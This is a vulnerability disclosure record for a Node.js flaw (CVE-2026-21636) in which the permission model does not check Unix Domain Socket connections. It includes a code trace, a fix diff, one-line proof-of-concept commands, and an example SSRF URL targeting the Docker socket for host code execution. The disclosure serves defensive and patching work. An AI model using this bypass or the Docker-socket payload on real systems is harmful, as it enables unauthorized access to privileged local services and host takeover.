Skip to content
winfunc
Disclosure record · Node.js

Permission model bypass via unchecked Unix Domain Socket connections (CVE-2026-21636)

Node.js permission model fails to enforce network restrictions for Unix Domain Socket connections

Node.jsCVE-2026-21636DisclosedSource record

Severity rating

Medium
Medium

No numeric base score was published with this disclosure.

Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Record

Project
Node.js
Severity
Medium
CVE
CVE-2026-21636
Disclosed
Trace
4 steps

Summary

Source

options = { path: socketPath }

deps/undici/src/lib/core/connect.js:51

Sink

PipeWrap::Connect

src/pipe_wrap.cc:216

Node.js permission model fails to enforce network restrictions for Unix Domain Socket (UDS) connections. With --permission enabled and without --allow-net (or any allowlists), an attacker-controlled URL or socketPath still reaches arbitrary local sockets via net, tls, or undici/fetch. This breaks the security boundary the permission model is meant to provide and enables SSRF-to-local-RCE style impact against local daemons (e.g., Docker API) while the administrator believes networking is blocked.

Severity

Attack vectorAV
Local
Attack complexityAC
Low
Privileges requiredPR
None
User interactionUI
None
ScopeS
Unchanged
ConfidentialityC
High
IntegrityI
High
AvailabilityA
Low

Metric values as published in the disclosure vector. Meters show how far each value raises exposure.

Source-to-sink trace

  1. Source · attacker-controlleddeps/undici/src/lib/core/connect.js:51

    options = { path: socketPath }

  2. Step 01src/pipe_wrap.cc:228-236

    PipeWrap::Connect calls uv_pipe_connect2 directly without any permission enforcement. Unlike TCP connections which explicitly check permissions, UDS connections bypass this entirely.

    cpp
    ConnectWrap* req_wrap =
        new ConnectWrap(env, req_wrap_obj, AsyncWrap::PROVIDER_PIPECONNECTWRAP);
    int err = req_wrap->Dispatch(uv_pipe_connect2,
                                 &wrap->handle_,
                                 *name,
                                 name.length(),
                                 UV_PIPE_NO_TRUNCATE,
                                 AfterConnect);
    
  3. Step 02src/tcp_wrap.cc:272

    For comparison, TCP connect enforces permissions using ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS. This check is absent from the UDS path in pipe_wrap.cc.

    cpp
    ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS(
        env, permission::PermissionScope::kNet, ip_address.ToStringView(), args);
    
  4. Step 03deps/undici/src/lib/core/connect.js:51,90-96

    Undici connector builds net.connect with the attacker-controlled socketPath, which uses PipeWrap internally and bypasses permission checks.

    javascript
    const options = { path: socketPath, ...opts }
    // ...
    socket = net.connect({
      highWaterMark: 64 * 1024,
      ...options,
      localAddress,
      port,
      host: hostname
    })
    
  5. Step 04lib/internal/process/pre_execution.js

    Permission model initialization sets up process.permission, but pipe_wrap IPC paths never call ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS, so the model is bypassed for all UDS operations.

    javascript
    // Permission model sets up kNet scope checks,
    // but PipeWrap never queries them
    
  6. Sinksrc/pipe_wrap.cc:216

    PipeWrap::Connect

Impact

Reported impact

SSRF in a web app running with --permission lets an attacker supply http://unix:/var/run/docker.sock:/containers/json to gain Docker control, spawn containers with host mounts, and achieve host RCE. Access to local secrets daemons (Vault agent sockets, database UDS listeners) is also possible without any --allow-net flag. The primary security guarantee of --permission is bypassed for UDS, invalidating the threat model for "no network" deployments.

Attack surface

Any Node.js application running with --permission enabled that accepts attacker-controlled URLs or socket paths via net.connect, tls.connect, or undici/fetch with socketPath options.

Preconditions

The attacker needs the ability to supply a URL (e.g., SSRF) or socketPath option to a Node.js process running with the permission model enabled. No --allow-net flag is required for the attack to succeed.

Attack path

  1. 1

    Start a Node.js process with --permission flag (no --allow-net).

  2. 2

    Supply an attacker-controlled URL like http://unix:/var/run/docker.sock:/containers/json to undici/fetch.

  3. 3

    Alternatively, call net.connect({ path: '/tmp/target.sock' }) with an attacker-controlled path.

  4. 4

    The connection succeeds despite the permission model being enabled, bypassing the intended security boundary.

Proof of concept

Reproduction5 stages
  1. 01

    Environment setup

    Requirements: Build Node.js from source (./configure && make -j8) or use Node.js v25+ with the permission model.

    Verify build:

    bash
    ./node --version
    # v26.0.0-pre (or v25.x)
    
  2. 02

    Target configuration

    Terminal 1: Start a UDS listener (benign stand-in for a privileged daemon)

    bash
    ./node -e "const net=require('net'); net.createServer(s=>{s.end('pong')}).listen('/tmp/perm.sock');"
    
  3. 03

    Exploit delivery

    Terminal 2: Connect with permission model enabled but no --allow-net

    Minimal Repro (net.connect to UDS):

    bash
    ./node --permission -e "const net=require('net'); const s=net.connect({path:'/tmp/perm.sock'},()=>{console.log('CONNECTED'); s.end();}); s.on('error',e=>console.error('ERR',e));"
    

    Minimal Repro (undici/fetch over UDS):

    bash
    ./node --permission -e "const { request } = require('undici'); request('http://unix:/tmp/perm.sock:/').then(r=>r.body.text()).then(console.log).catch(console.error);"
    
  4. 04

    Expected response

    text
    CONNECTED
    

    The connection succeeds even though --allow-net was not provided. This should result in ERR_ACCESS_DENIED.

  5. 05

    Outcome

    Both repros demonstrate that UDS connections bypass the permission model entirely. The net.connect example prints CONNECTED and the undici example successfully receives the response from the socket. This allows attackers to pivot through Node's runtime to access privileged local services (Docker API, database sockets, etc.) despite the operator enabling the permission model.

Remediation

Guidance

Enforce permissions on UDS operations by adding ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS checks in src/pipe_wrap.cc for Connect and other UDS entrypoints. Treat the socket path as the resource string, using permission::PermissionScope::kNet to validate network access before allowing the connection.

Before and after−6+9
// src/pipe_wrap.cc:226 - No permission check before UDS connectnode::Utf8Value name(env->isolate(), args[1]); ConnectWrap* req_wrap =    new ConnectWrap(env, req_wrap_obj, ...);int err = req_wrap->Dispatch(uv_pipe_connect2, ...);// src/pipe_wrap.cc:226 - Permission check added after line 226node::Utf8Value name(env->isolate(), args[1]); ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS(    env, permission::PermissionScope::kNet, name.ToStringView(), args); ConnectWrap* req_wrap =    new ConnectWrap(env, req_wrap_obj, ...);int err = req_wrap->Dispatch(uv_pipe_connect2, ...);
View original source record

Check the upstream record for the project's current remediation status.

Your codebase

Investigate the paths that matter in your codebase.

Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.